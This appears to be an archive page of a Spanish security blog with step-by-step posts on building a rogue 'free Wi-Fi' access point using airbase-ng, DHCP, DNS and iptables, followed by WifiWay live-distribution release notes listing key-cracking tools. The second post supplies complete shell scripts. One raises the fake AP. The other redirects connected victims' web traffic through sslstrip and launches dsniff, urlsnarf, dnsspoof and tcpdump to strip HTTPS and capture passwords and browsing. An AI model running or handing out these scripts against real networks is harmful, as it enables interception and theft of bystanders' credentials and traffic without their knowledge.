Archive

Archive for the ‘Wireless’ Category

HowTo: Rogue AP

March 30th, 2011 No comments

Con este post pretendo despejar posibles dudas que han podido surgir tras leer los artículos anteriores sobre cómo montar un punto de acceso falso (Rogue AP) sobre DNS , DHCP, etc.

Para comenzar, necesitaremos una interface en modo monitor así que la creamos con airmon-ng o con iw, como más os guste (aunque viene a ser lo mismo).

[email protected]:~$ cd /tmp/
[email protected]:/tmp$ wget -c 'http://wireless.kernel.org/download/iw/iw-0.9.22.tar.bz2'
--2011-03-29 22:00:58--  http://wireless.kernel.org/download/iw/iw-0.9.22.tar.bz2
Resolviendo wireless.kernel.org... 78.46.109.217
Connecting to wireless.kernel.org|78.46.109.217|:80... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 50526 (49K) [application/octet-stream]
Saving to: `iw-0.9.22.tar.bz2'

100%[===================================================================================================================================================================================================>] 50.526       233K/s   in 0,2s

2011-03-29 22:00:59 (233 KB/s) - `iw-0.9.22.tar.bz2' saved [50526/50526]

[email protected]:/tmp$ tar xf iw-0.9.22.tar.bz2
[email protected]:/tmp$ cd iw-0.9.22/
[email protected]:/tmp/iw-0.9.22$ make clean && make
CC   iw.o
CC   genl.o
CC   event.o
CC   info.o
CC   phy.o
CC   interface.o
CC   ibss.o
CC   station.o
CC   survey.o
CC   util.o
CC   mesh.o
CC   mpath.o
CC   scan.o
CC   reg.o
GEN  version.c
CC   version.o
CC   reason.o
CC   status.o
CC   connect.o
CC   link.o
CC   offch.o
CC   ps.o
CC   cqm.o
CC   bitrate.o
CC   sections.o
CC   iw
[email protected]:/tmp/iw-0.9.22$ sudo make install
GZIP iw.8
INST iw
INST iw.8
[email protected]:/tmp/iw-0.9.22$

Ahora vamos a instalar el servidor DHCP y realizaremos una configuración básica, con esto conseguiremos que los clientes obtengan los datos de red de forma automática al realizar una petición DHCP.

Para no complicarnos y dado que todo esto lo estoy realizando sobre Debian, instalaremos el servidor DHCP desde los repositorios, instala el que más te guste, en mi caso tengo instalado “isc-dhcp-server“:

[email protected]:/tmp/iw-0.9.22$ apt-cache search dhcp | grep -i server
bootp - server for the bootp protocol with DHCP support
udhcpd - Provides the busybox DHCP server implementation
dhcp-probe - network DHCP or BootP server discover
dhis-server - Dynamic Host Information System - server
dnsmasq-base - A small caching DNS proxy and DHCP/TFTP server
dnsmasq - A small caching DNS proxy and DHCP/TFTP server
gadmintools - GTK+ server administration tools (meta-package)
dhcp3-server - ISC DHCP server (transitional package)
isc-dhcp-server-dbg - ISC DHCP server for automatic IP address assignment (debug)
isc-dhcp-server-ldap - DHCP server able to use LDAP as backend
isc-dhcp-server - ISC DHCP server for automatic IP address assignment
ltsp-server-standalone - complete LTSP server environment
python-pydhcplib - Python DHCP client/server library
resolvconf - name server information handler
wide-dhcpv6-server - DHCPv6 server for automatic IPv6 hosts configuration
dibbler-server - Servidor de DHCPv6 adaptable
[email protected]:/tmp/iw-0.9.22$

Una vez instalado, si solo queremos usarlo para casos puntuales y evitar que esté siempre corriendo:

[email protected]:/tmp/iw-0.9.22$ sudo update-rc.d -f isc-dhcp-server remove

La configuración que vamos a usar para el DHCP es la siguiente:

ddns-update-style none;
ignore client-updates; # ignoramos peticiones de actualizacion DDNS de los clientes
authoritative; # servidor maestro de dhcp
default-lease-time 86400; # 24 horas (tiempo de "vida" de la IP asignada al cliente)
max-lease-time 172800; # 48 horas (tiempo de "vida" maximo de la IP asignada al cliente)

subnet 192.168.3.0 netmask 255.255.255.0
{
option routers 192.168.3.1; # router de la red
option broadcast-address 192.168.3.255; # direccion broadcast
option domain-name-servers 80.58.61.250,80.58.61.254; # DNS para los clientes
range 192.168.3.33 192.168.3.254; # rango de IPs permitidas
allow unknown-clients; # no filtramos clientes asi que no seria necesario, pero asi no se olvida
}

Esta es la configuración mínima recomendable que debemos tener para poder ofrecer DHCP a los clientes, podríamos crear diferentes “pools” con otros servidores DNS, filtrar por dirección MAC, fabricante, y un largo etcétera que no nos es vital para la ocasión, el que quiera ampliar un poco más: http://www.isc.org/software/dhcp/documentation

Ahora crearemos la interface en modo monitor para ofrecer el AP:

[email protected]:/tmp/iw-0.9.22$ sudo iw dev wlan0 interface add wifi0 type monitor

wlan0 es el nombre de la interface sobre la que vamos a crear la interface virtual wifi0 en modo monitor.

[email protected]:/tmp/iw-0.9.22$ sudo iwconfig wifi0
wifi0     IEEE 802.11bg  Mode:Monitor  Frequency:2.462 GHz  Tx-Power=15 dBm
Retry  long limit:7   RTS thr:off   Fragment thr:off
Power Management:off

[email protected]:/tmp/iw-0.9.22$

Hecho esto, lanzamos airbase-ng para anunciar nuestro AP:

[email protected]:/tmp/iw-0.9.22$ sudo airbase-ng -w abcdef0123 -y -I 50 wifi0 --essid SafetyBits
22:46:14  Created tap interface at0
22:46:14  Trying to set MTU on at0 to 1500
22:46:14  Trying to set MTU on wifi0 to 1800
22:46:14  Access Point with BSSID 00:80:5A:4D:9B:10 started.

Con lo cual, solo creamos un AP con essid “SafetyBits“, con clave WEPabcdef0123“, a través de la interface wifi0 y mediante la opción “-y” le indicamos que no responda a “broadcast probes” y con “-I” le indicamos el intervalo de tiempo en milisegundos para enviar los beacons.

En este caso no he especificado el canal, ya que al estar operando sobre wlan0 que está conectada a otra red, el canal ya está establecido.

Ahora desde otro terminal ejecutamos:

[email protected]:~$ sudo ifconfig at0 192.168.3.1 netmask 255.255.255.0 up
[email protected]:~$ sudo dhcpd at0

En el último comando no le especifico la ruta al fichero de configuración “dhcpd.conf” porque se encuentra en la ruta por defecto (“/etc/dhcp/dhcpd.conf“).

A continuación, vamos a configurar iptables con una política por defecto DROP en INPUT/OUTPUT/FORWARD para que se vea más claro cómo tenemos que gestionar el tráfico:

#!/bin/bash

AP_RED='192.168.3.0/24'
AP_IFACE='at0'
INET_IFACE='wlan0'

#Limpiamos las reglas previas
iptables -F
iptables -X
iptables -Z
iptables -t nat -F

#Politica para denegar todo por defecto
iptables -P INPUT DROP
iptables -P OUTPUT DROP
iptables -P FORWARD DROP

# Permitimos todo en local
iptables -A INPUT -i lo -d $LOOP -j ACCEPT
iptables -A OUTPUT -o lo -s $LOOP -j ACCEPT

# Permitimos todo en at0
iptables -A INPUT -i $AP_IFACE -j ACCEPT
iptables -A OUTPUT -o $AP_IFACE -j ACCEPT

# Permitimos forwarding en la subred del AP
iptables -A FORWARD -s $AP_RED -i $AP_IFACE -o $INET_IFACE -j ACCEPT
iptables -A FORWARD -d $AP_RED -o $AP_IFACE -i $INET_IFACE -j ACCEPT

# Enmascaramos la subred del AP con la interface conectada a internet
iptables -t nat -A POSTROUTING -s $AP_RED -o $INET_IFACE -j MASQUERADE

# Como por defecto hacemos DROP, permitimos todo en $INET_IFACE
iptables -A INPUT -i $INET_IFACE -j ACCEPT
iptables -A OUTPUT -o $INET_IFACE -j ACCEPT

unset AP_RED AP_IFACE INET_IFACE

exit 0

Este listado de reglas pisarán a las que se tengan previamente, así que si tienes alguna regla en el equipo debes modificar el listado anterior e integrarlas con las que tengas, y cuidado con el orden en que se establecen, que no es lo mismo “meter a tu novia en un barco” que “meter un barco en tu novia” :-p

Siguiendo con la línea, que no se olvide activar el forwarding:

sudo sysctl -w net.ipv4.ip_forward=1

Antes indicamos cómo evitar que el servidor DHCP se iniciase en cada inicio del sistema, pero si por el contrario esto es lo que queremos, debemos agregar las interfaces en las que se deben escuchar las peticiones en “/etc/default/isc-dhcp-server” y configurar manualmente los datos de la interface en “/etc/network/interfaces“.

Y eso es todo, las peticiones DNS de los clientes serán enviadas a los servidores que hemos espeficicado en el archivo “dhcpd.conf“.

Otros links:

Creando un punto de acceso falso – II

October 5th, 2009 11 comments

Post Actualizado: http://safetybits.net/2011/03/30/howto-rogue-ap/

Hace algún tiempo escribí un artículo a modo de manual con un script final para crear puntos de acceso falso usando airbase-ng.

En este segundo artículo, voy a resumir brevemente los pasos mencionados en el primer artículo y mostrar diferentes caminos y algunas aplicaciones finales.

Lo primero será instalar los servidores DHCP y DNS necesarios, y ajustar su configuración. En este caso usaré como servidor DHCP “dhcp3-server” y como servidor DNS “bind9″.

Dado que queremos ofrecer conexión a internet a los clientes, debemos configurar el servidor DHCP para usar los rangos de IP que creamos más convenientes, en el archivo /etc/dhcp3/dhcpd.conf, en mi caso queda así:

ddns-update-style none;
option domain-name-servers 10.0.0.1;
default-lease-time 60;
max-lease-time 72;
authoritative;
log-facility local7;
subnet 10.0.0.0 netmask 255.255.255.0 {
range 10.0.0.33 10.0.0.254;
option routers 10.0.0.1;
option domain-name-servers 10.0.0.1;
}

Para ahorrarnos problemas, nos aseguramos de que ambos demonios están detenidos:

/etc/init.d/dhcp3-server stop
/etc/init.d/bind9 stop

Acto seguido, ajustaremos los parámetros de “airbase-ng” en función a lo que queramos hacer, en mi caso crearé un AP con cifrado WEP, por lo que los pasos para montar el AP serán:

  1. airbase-ng -I 100 -P -C 2 -c 6 –essid Wifli_Gratis rausb0 -w 5A303031333439454430374333
  2. ifconfig at0 10.0.0.1 up
  3. dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0
  4. sysctl net.ipv4.ip_forward=1
  5. iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE
  6. /etc/init.d/bind9 start

Listo, con esto ya tendremos la red creada y proporcionaremos acceso a internet a los clientes:

Cell 06 – Address: XX:XX:XX:XX:XX:XX
ESSID:”Wifli”
Mode:Master
Channel:6
Frequency:2.437 GHz (Channel 6)
Quality=96/100  Signal level=-31 dBm  Noise level=-127 dBm
Encryption key:on
Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 6 Mb/s
9 Mb/s; 12 Mb/s; 18 Mb/s; 24 Mb/s; 36 Mb/s
48 Mb/s; 54 Mb/s
Extra:tsf=ffffffffd4670326

Una vez tenemos a los clientes conectados, vamos con lo siguiente:

SSLstrip: Suplanta sesiones web HTTPS por HTTP

$ sudo apt-get install python python-twisted-web
$ wget http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.6.tar.gz && tar xf sslstrip-0.6.tar.gz

DSniff: Suite – Principalmente usaremos ‘dsniff’, ‘urlsnarf’ y ‘dnsspoof’ para suplantar nombres de dominio

  • Para distribuciones basadas en Debian: $ sudo apt-get install dsniff
  • Fuentes: http://monkey.org/~dugsong/dsniff/dsniff-2.3.tar.gz

p0f: Detección de SO pasivo

  • Para distribuciones basadas en Debian: $ sudo apt-get install p0f
  • Fuentes: http://lcamtuf.coredump.cx/p0f.tgz

TCPTrack: Monitor de conexiones TCP

  • Para distribuciones basadas en Debian: $ sudo apt-get install tcptrack
  • Fuentes: http://www.rhythm.cx/~steve/devel/tcptrack/release/1.2.0/source/tcptrack-1.2.0.tar.gz

Para comenzar está bien, aunque siempre podemos ponernos más “juguetones” y que el tráfico de red crezca de una manera descontrolada, usando karmetasploit.

Script para crear el AP:

#!/bin/sh
#
# Scriwap 1.5 - Script to create rogue AP
#
# Chema Garcia (a.k.a. sch3m4)
# [email protected]
# http://safetybits.net
#

RUTA_AIRBASE='/usr/local/sbin/airbase-ng'
RUTA_BIND9='/etc/init.d/bind9'
RUTA_DHCPD3S='/etc/init.d/dhcp3-server'
RUTA_DHCPD3='/usr/sbin/dhcpd3'
RUTA_CFG_DHCPD3='/etc/dhcp3/dhcpd.conf'
RUTA_SYSCTL='/sbin/sysctl'
RUTA_IPTABLES='/sbin/iptables'
AIRBASE_IFACE='at0'
LOG='.scriwap.log'

function check
{
 if [ ! $? -eq 0 ]
 then
 echo -e "[!] Error - Check "$LOG""
 exit $?
 fi
}

echo "###############################"
echo "#        SCRIWAP 1.5          #"
echo "#=============================#"
echo "#  Chema Garcia (aka sch3m4)  #"
echo "#      [email protected] #"
echo "#      http://safetybits.net      #"
echo "###############################"
echo ""

if [ $# -lt 4 ]
then
 echo -e "Use: $0 <iface_inet> <iface_monitor> <ip_gw> <netmask> <airbase_opt>\n"
 echo -e "Ej: $0 wlan0 rausb0 10.0.0.1 255.0.0.0 -P -C 2 -c 6 --essid Wifli\n"
 exit 1
fi

if [ ! $UID -eq 0 ]
then
 sudo ls / 2>&1 >/dev/null
fi

#comienzo de parametros de airbase
ifacenet=$1
ifacemon=$2
ip=$3
mascara=$4
narg=$#
num=5

while [ $# -gt 0 ] && [ $num -le $narg ];do
 param="$param $5"
 shift
 num=$(($num+1))
done
param="$param $ifacemon"

#Activamos el IP Forwarding
echo "[+] Setting up IP Forwarding"
sudo $RUTA_SYSCTL net.ipv4.ip_forward=1 2>&1 >> $LOG
check

echo "[+] Stopping DHCP daemon"
sudo $RUTA_DHCPD3S stop 2>&1 >> $LOG
echo "[+] Stopping DNS daemon"
sudo $RUTA_BIND9 stop 2>&1 >> $LOG

echo "[+] Flushing 'nat' table"
sudo $RUTA_IPTABLES -t nat -F
check

echo "[+] Adding iptables rule"
sudo $RUTA_IPTABLES -t nat -A POSTROUTING -o $ifacenet -j MASQUERADE
check

echo "[+] Setting up Acces Point..."
sudo rmmod tun 2>&1 >> $LOG
xterm -e sudo $RUTA_AIRBASE $param &
sleep 3

echo "[+] Settin up interface $AIRBASE_IFACE"
sudo ifconfig $AIRBASE_IFACE $ip netmask $mascara up
check

echo "[+] Starting DHCP daemon"
sudo $RUTA_DHCPD3 -cf $RUTA_CFG_DHCPD3 $AIRBASE_IFACE 2>&1 >> $LOG
check

echo "[+] Starting DNS daemon"
sudo $RUTA_BIND9 start 2>&1 >> $LOG
check

echo -e "\n[+] Finished!\n"

exit 0

Script para lanzar las herramientas:

#!/bin/bash
#
# Chema Garcia (a.k.a. sch3m4)
# [email protected]
# http://safetybits.net
#

RUTA_IPTABLES='/sbin/iptables'
RUTA_SSLSTRIP='/home/sch3m4/FakeAP/sslstrip-0.6/sslstrip.py'
RUTA_DSNIFF='/usr/sbin/dsniff'
RUTA_URLSNARF='/usr/sbin/urlsnarf'
RUTA_DNSSPOOF='/usr/sbin/dnsspoof'
RUTA_P0F='/usr/sbin/p0f'
RUTA_TCPTRACK='/usr/bin/tcptrack'
RUTA_TCPDUMP='/usr/sbin/tcpdump'
PUERTO='4664'
RUTA_HOSTSDNS='' # You have to create a file to use dnsspoof

if [ ! $# -eq 1 ]
then
 echo -e "\nUse: $0 <iface>\n"
 exit 1
fi

if [ ! $UID -eq 0 ]
then
 sudo ls / 2>&1 >/dev/null
fi

echo -e "[?] Do you want to save the capture using tcpdump? (y/n): \c"
read SAVE

if [ "$SAVE" == 'y' ] || [ y"$SAVE" == 'y' ]
then
 SAVE_FILE=''
 while [ -z "$SAVE_FILE" ]
 do
 echo -e "[?] Filename: \c"
 read SAVE_FILE
 done
else
 SAVE_FILE=''
fi

echo '[+] Adding iptables rule'
sudo $RUTA_IPTABLES -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port $PUERTO

echo -e '[+] Launching SSLstrip...\c'
xterm -e sudo $RUTA_SSLSTRIP -l $PUERTO &
echo 'OK'

echo -e '[+] Launching Dsniff...\c'
xterm -e sudo $RUTA_DSNIFF -i $1 &
echo 'OK'

if [ ! -z "$RUTA_HOSTSDNS" ]
then
 echo -e '[+] Launching DNSspoof...\c'
 xterm -e sudo $RUTA_DNSSPOOF -i $1 -f $RUTA_HOSTSDNS &
 echo 'OK'
fi

echo -e '[+] Launching p0f...\c'
xterm -e sudo $RUTA_P0F -i $1 -U -t &
echo 'OK'

echo -e '[+] Launching TCPtrack...\c'
xterm -e sudo $RUTA_TCPTRACK -i $1 &
echo 'OK'

echo -e '[+] Launching URLsnarf...\c'
xterm -e sudo $RUTA_URLSNARF -i $1 &
echo 'OK'

if [ ! -z "$SAVE_FILE" ]
then
 echo -e '[+] Launching TCPDump...\c'
 xterm -e sudo $RUTA_TCPDUMP -i $1 -w $SAVE_FILE &
 echo 'OK'
fi

exit 0

Ambos scripts están disponibles en:

http://pastebin.com/f671cce89
http://pastebin.com/f332a2d1a

Creando un punto de acceso falso (airbase-ng)

March 20th, 2009 1 comment

POST ACTUALIZADO: http://safetybits.net/2009/10/05/creando-un-punto-de-acceso-falso-ii/

Hasta hace relativamente poco tiempo, una condición necesaria para crear un punto de acceso era que el driver de nuestra tarjeta debía de soportar el modo “master” (ej: chipsets atheros), pero como no todos cumplimos en un determinado momento esta condición, los desarrolladores de la suite “aircrack-ng” están desarrollando una herramienta llamada “airbase-ng”, cuyo propósito es el de poder crear un punto de acceso a partir de una interface de red en modo monitor.

Si visitamos la página de la documentación de la herramienta,  veremos entre otras cosas, que podemos usar esta herramienta tanto para montar un AP para dar conexión a internet, como para realizar auditorías en redes wireless con protección WEP/WPA/WPA2, pero también vemos el siguiente mensaje:

++++++ IMPORTANT ++++++
++++++ IMPORTANT ++++++
++++++ IMPORTANT ++++++

This functionality will be available in a future release. It is NOT available currently.

++++++ IMPORTANT ++++++
++++++ IMPORTANT ++++++
++++++ IMPORTANT ++++++

Esta herramienta no está disponible en la descarga de la versión estable de la suite, pero podemos descargarnos la suite completa desde el CVS de la siguiente manera:

$ svn co http://trac.aircrack-ng.org/svn/trunk/ aircrack-ng
$ make
# make install

Repasemos los requisitos necesarios para crear un punto de acceso funcional:

  • Servidor DHCP
  • Servidor DNS

En mi caso, usaré como servidor DHCP “dhcp3-server” y como servidor DNS “bind9″ (en distribuciones basadas en Debian GNU/Linux: apt-get install dhcp3-server bind9).

Hecho esto, vamos a configurar el servidor DHCP (una configuración básica), para ello editamos el archivo “/etc/dhcp3/dhcpd.conf”, de manera que tengamos únicamente las siguientes entradas sin comentar:

ddns-update-style none;
option domain-name-servers 10.0.0.1;
default-lease-time 60;
max-lease-time 72;
authoritative;
log-facility local7;
subnet 10.0.0.0 netmask 255.255.255.0 {
range 10.0.0.33 10.0.0.254;
option routers 10.0.0.1;
option domain-name-servers 10.0.0.1;
}

Una vez hecho esto, vamos a crear un punto de acceso sin encriptación, proporcionando acceso a internet a los clientes, con lo que suponiendo:

  • ath0 —> Conectada a internet
  • ath1 —> Modo monitor

Usaremos “ath1″ para crear el AP con airbase-ng, y “ath0″ para dar conexión a los clientes, con lo que procederemos de la siguiente manera:

Creamos el punto de acceso:

blanquito:/# airbase-ng -P -C 2 -c 6 --essid Wifli_Gratis ath1
19:04:40  Created tap interface at0
19:04:40  Trying to set MTU on at0 to 1500
19:04:40  Trying to set MTU on ath1 to 1800
19:04:40  Access Point with BSSID XX:XX:XX:XX:XX:XX started.

Podemos asegurarnos que se ha creado haciendo:

blanquito:/# iwlist ath0 scan | grep ifli
             ESSID: "Wifli_Gratis"

Como vemos, se ha creado una interface virtual llamada “at0″, que será con la que trabajemos de aquí en adelante, ya que de haber creado un AP con cifrado WEP, esta sería la interface que tendría todos los paquetes descifrados, de manera que la levantamos de la siguiente manera:

blanquito:/# ifconfig at0 10.0.0.1 netmask 255.0.0.0 up

Una vez hecho esto, iniciamos el servidor DHCP indicándole el fichero de configuració y la interface de red con la que debe trabajar:

blanquito:/# /etc/init.d/dhcpd3-server stop
blanquito:/# dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0
Internet Systems Consortium DHCP Server V3.1.1
Copyright 2004-2008 Internet Systems Consortium.
All rights reserved.
For info, please visit http://www.isc.org/sw/dhcp/
Wrote 2 leases to leases file.
Listening on LPF/at0/XX:XX:XX:XX:XX:XX/10.0.0/24
Sending on   LPF/at0/XX:XX:XX:XX:XX:XX/10.0.0/24
Sending on   Socket/fallback/fallback-net

El siguiente paso, es iniciar el servidor DNS para la resolución de nombres:

blanquito:/# /etc/init.d/bind9 restart

Los últimos pasos que vamos a relaizar serán, activar el ip forwarding, y agregar unas reglas a la tabla “nat” de iptables para poder dar acceso a internet a los clientes, por tanto:

blanquito:/# sysctl net.ipv4.ip_forward=1
net.ipv4.ip_forward = 1
blanquito:/# iptables -t nat -F
blanquito:/# iptables -t nat -A PREROUTING -i ath0 -j REDIRECT
blanquito:/# iptables -t nat -A POSTROUTING -o ath0 -j MASQUERADE

Y con esto ya estará todo listo, tendremos un AP y los clientes tendrán acceso a internet, pero como todos estos pasos son un poco engorrosos, lo mejor es hacerse un script que automatice todo el proceso.

Aquí os pongo el mío, y una nota importante, los parámetros extra que se le pasen al script, los pasará a “airbase-ng”.

#!/bin/sh
#
# Script para crear un punto de acceso usando airbase-ng
#
# Argumentos basicos: interface_conexion interface_monitor ip_gw mascara
#
#

RUTA_WLANCONFIG="/usr/local/bin/wlanconfig" #Solo para crear la interface monitor con chipsets atheros
RUTA_AIRBASE="/usr/local/sbin/airbase-ng"
RUTA_BIND9="/etc/init.d/bind9" #script de inicio
RUTA_DHCPD3S="/etc/init.d/dhcp3-server" #script de inicio
RUTA_DHCPD3="/usr/sbin/dhcpd3"
RUTA_CFG_DHCPD3="/etc/dhcp3/dhcpd.conf"
RUTA_SYSCTL="/sbin/sysctl"
RUTA_IPTABLES="/sbin/iptables"

OPC_CREAR="-m"

clear
echo "###############################"
echo "#           SCRIWAP           #"
echo "#=============================#"
echo "#  Chema Garcia (aka sch3m4)  #"
echo "#      [email protected]      #"
echo "#      http://safetybits.net      #"
echo "###############################"
echo ""

if [ "$UID" -ne 0 ]
then
	echo "[!] Has de ser root!"
	exit 0
fi

if [ "$#" -lt 3 ]
then
	echo "Uso: " $0 "      "
	echo ""
	echo "Ej:  " $0 " eth0 wlan0 192.168.1.1 255.255.255.0"
	echo ""
	echo "Opciones:"
	echo "         -m ---&gt; Crear interface monitor (Chipsets Atheros)"
	echo ""
	exit 0
fi

#comienzo de parametros de airbase
num=5

#comprobamos si debemos crear la interface
if [ $# -ge 5 ] &amp;&amp; [ "$5" = "$OPC_CREAR" ]
then
	let num=$num+1
	echo "[+] Creando interface $2"
	$RUTA_WLANCONFIG $2 destroy 2&gt;/dev/null
	$RUTA_WLANCONFIG $2 create wlanmode monitor wlandev wifi0 &gt;/dev/null
fi
iface=$2
ip=$3
mascara=$4
var=$#
if [ $num -eq 5 ]
then
	while [ $# -gt 0 ] &amp;&amp; [ $num -le $var ];do
		param="$param $5"
		shift
		num=$(($num+1))
	done
else
        while [ $# -gt 0 ] &amp;&amp; [ $num -le $var ];do
                param="$param $6"
		shift
                num=$(($num+1))
        done
fi
param="$param $iface"

#Activamos el IP Forwarding
echo "[+] Activando IP Forwarding"
$RUTA_SYSCTL net.ipv4.ip_forward=1 &gt;/dev/null

#Limpiamos la tabla 'nat' de iptables y agregamos nuestras reglas
echo "[+] Limpiando tabla 'nat' de iptables"
$RUTA_IPTABLES -t nat -F

echo "[+] Agregando reglas PREROUTING y POSTROUTING"
$RUTA_IPTABLES -t nat -A PREROUTING -i $iface -j REDIRECT
$RUTA_IPTABLES -t nat -A POSTROUTING -o $iface -j MASQUERADE

echo "[+] Creando punto de acceso"
rmmod tun 2&gt;/dev/null
xterm -e $RUTA_AIRBASE $param &amp;
sleep 3

echo "[+] Levantando interface at0"
ifconfig at0 $ip netmask $mascara up

echo "[+] Reiniciando servidor DHCP"
$RUTA_DHCPD3S stop &gt;/dev/null
$RUTA_DHCPD3 -cf $RUTA_CFG_DHCPD3 at0 2&gt;/dev/null

echo "[+] Reiniciando servidor DNS"
$RUTA_BIND9 restart &gt;/dev/null

echo ""
echo "[+] Finalizado!"
echo ""

Para usar este script en el ejemplo anterior, sería algo así:

./ap.sh ath0 ath1 10.0.0.1 255.0.0.0 -P -C 2 -c 6 --essid Wifli_Gratis

En el foro de seguridadwireless hay un post sobre cómo hacer balanceo de carga entre redes: http://foro.seguridadwireless.net/zona-linux/balanceo-de-carga-en-linux/

Categories: GNU/Linux, Seguridad, Wireless Tags:

WifiWay 1.0 Final

December 15th, 2008 4 comments

Después de mucho trabajo por parte del staff de seguridadwireless.net, han publicado la versión 1.0 Final de WifiWay, sin duda, una live para tener siempre a mano.

Cito las características y mejoras:

wifiway-1.0-final

Descarga directa iso: http://download.wifislax.com:8080/wifiway-1-final.iso

Tamaño: 664.6 Megas
Es inferior a la beta con mucho mas contenido gracias a las ultimas linux-live,
lo cual la hacen mas rapida y menos necesidad de memoria RAM.
MD5: 2fac135cad7b185706bbcb9c51f45932 wifiway-1-final.iso
Descarga fichero MD5: http://download.wifislax.com:8080/wifiway-1-final.iso.md5

Nota: No aconsejamos usar firefox 3 para la descarga del fichero ISO

Kernel

Kernel: 2.6.27.7

Adaptado para modo liveusb 2.6.27.7 SMP mod_unload 486
Mantenemos las fuentes al completo y limpias, para la posiblidad de actualizar drivers.
Kernel tipo SMP permite aprovechar el 100% de los equipos con 2 nucleos, DUAL CORE

Entorno grafico
Kde: 3.5.9 estable
Con diferentes idiomas; castellano, ingles, aleman, portugues, catalan, vasco y frances.
Por supuesto las aplicaciones tipicas del etorno grafico KDE

Entorno alternativo x-win Fluxbox 0.9.15.1, podemos determinar el entorno a iniciar, por defecto es el KDE

startx		...  to start Xwindow
kde		...  to start Xwindow with KDE
flux		...  to start Xwindow with fluxbox

Ademas referente al entorno grafico:

autox    	...  to configure automatic the environment XWindow
autoxdefault    ...  to restore default the environment XWindow (Vesa)

por defecto se inicia con Vesa, asi el entorno grafico puede entrar en muchos mas equipos.

Drivers mas importantes y mas utilizados a nivel universal

Modo monitor:

airmon-ng start  &lt;interface&gt;

Permiten inyección:

aireplay-ng -9 &lt;interface&gt;


Familia ieee80211

Ralink USB rt2570
Ralink PCI rt2500
Ralink rt61, debido a su incompatiblidad con los madwifi, se deben cargar a traves de lanzador
Ralink USB rt73, mantenemos el viejo lanzador por si carga los rt2570
Atheros madwifi-hal, la primera y unica live que soporta nativamente los nuevos chipset de atheros
Intel pro wireless ipw2200
Realtek r8187, los de la famosa alfa blanca, la unica live que lleva estos drivers con kernel 2.6.27
Intel pro wireless 3945, ipwraw old, los primeros drivers paar estos equipos que hemos mantenido, por defecto no se cargan, se debe usar lanzador.


Familia mac80211

La nueva generacion de drivers, suite aircrack-ng adaptada a ellos, se trabajan con interfaces diferentes, siempre del tipo

monX

Zydas zd1211rw-mac80211
Intel pro wireless iwlagn con firmware para las nuevas iwl4965 y iwl5×00, siendo la unica live que incopora nativamente estos drivers.
Intel pro wireless iwl3945, son cargados por defecto, tambien la unica live que los incluye.
Broadcom b43 y b43legacy, me repito pero la unica live que los incluye

Ademas hemos mantenido los drivers siguientes en la ruta /opt/drivers, los cuales se deberam cargar a mano, suponemos que son mejores los nativos, si bien hemos mantenido los siguientes por si los nativos dieran problemas

Ralink rtx200
Intel pro wireless ipw2×00

Atheros ath5k
Atheros ath9k

Navegacion
Firefox 2.0.0.18
Plugin noscript (notad que cada 2 por 3 sacan nuevos update y no podemos
sacar una live cada 4 dias)
Plugin ShowIP
Plugin DOM Inspector
Idiomas Español y Ingles

amsn
kopete

Aplicaciones auditoria wireless

Suite Aircrack-ng 1.0 rc1 r1223, perfecta para trabajar con la nueva serie de drivers mac802111

Matizamos que el aircrack-ng ejecutable es Aircrack-ng 0.9.3, esto es debido a que la serie rc1 no trabajan bien para WEP cpn diccionario (-w), indispensable para el territorio español, y que aun no han corregido a pesar de las innumerables capturas que les hemos mandado.

Ademas incorporamos las aplicaciones airdecloak-ng y Tkiptun-ng, aunque son sus versiones en fase de pruebas, no inician el tratamiento WPA de forma diferente al habitual.

Dentro de Aplicaciones auditoria wireless incorporamos la sección estudio de cifrados con los siguiente programas:

jazzteldecrypter
stkeys
wlandecrypter con toda la nueva serie de MAC que ha aparecido hasta el momento.
dlinkdecrypter
rfidtool version 0.2
decsagem
wepattack
weplab
cowpatty

La mayoria de esta aplicaciones llevan lanzador grafico, y tambien estan incorporadas en el nuevo airoscript

airoscript

Ideal para iniciados en el analisis seguridad wireless. Mantenemos 3 versiones, la oficial en ingles, la de siempre en español, y una nueva en español con la incorporacion de jazzteldecrypter, stkeys, wlandecrypter y dlinkdecrypter

wlaninject

wifizoo 1.3

wireshark

airpwn

hamster & ferret

Aplicaciones wireless estandar

wifi-radar
Kwifimanager
Wireless assisntat
wifiscanner
WPA-GUI
: Soporte conexion grafica wpa-psk
rutilt para los drivers de ralink

Apliaciones extra-ocio

Un pequeño guiño al profesional o ameteur que se decica a la adutoria wireless

Juego de ajadrez Xboard, para que no se diga que los que no dedicamos a este mundo somos unos frikis sin dos dedos de frente, y porque no, mientras esperamos a capturas petciones de ARP validas.

Juego Papa-Patata, indispensable, para que mi hijo no se aburra mientras decido cientos de horas a realizar auditorias

wink personalmente no lo he usado y no se para que sirve, pero muchos compañeros se empeñaron en que se pusiera, lo siento pero tenia que decirlo.

gparted no recuerdo bien si estaba en la version beta, pero personalmente me encanta esta apliacion, que es muy util para la creacion de livecd sobre todo cuando la cagas y tienes que volver para atras, hay un liveCD con el nombre de dicha aplicacion, quizas no funcione al 100% pero es de mucha utilidad.

netcat definido en Wikipedia como najava multiusos

Nota: Hay muchas mas aplicaciones pero creemos oportuno mencionar las que hemos añadido o mejorado, esta version mantiene muchas de las aplicaciones incorporadas en versiones anteriores, por citar algun ejemplo: nmap, gFTP, KSnapshot, kedit, etc.

Como mencion especial y con todos los derechos del mundo:

wifipacket

Wifipacket 0.1 para seguridadwireless.net por Pianista
wifipacket [opcion] (name)
Opciones:
update --- Actualiza la lista de paquetes
list --- Lista los paquetes disponibles
install --- Instala el paquete seleccionado (-v) especifica la version a instalar
-v --- Muestra creditos de wifipacket

Es una actualizador personalizado para wifiway, aplicable a wifislax en futuras versiones, que permitira en un futuro muy proximo a los seguidores de wifiway, poder actulizar su distribuccion sin tener que descargarse nuevas lives, cabe decir que es para aquellos usuarios que tienen instalado wifiway en sus equipos, usarlo para modo live, podra ser pero no con toda su pontencia, una actualizacion de la suite ng o un driver bien, pero imaginemos la actualizacion de todo un kernel entero, o de todo un kde.

Por lo tanto se usara en el futuro para actualizaciones

Mencion especial tambien, para el instalador exclusivo de wifiway, es una serie de programa graficos que se ejecutan desde el menu

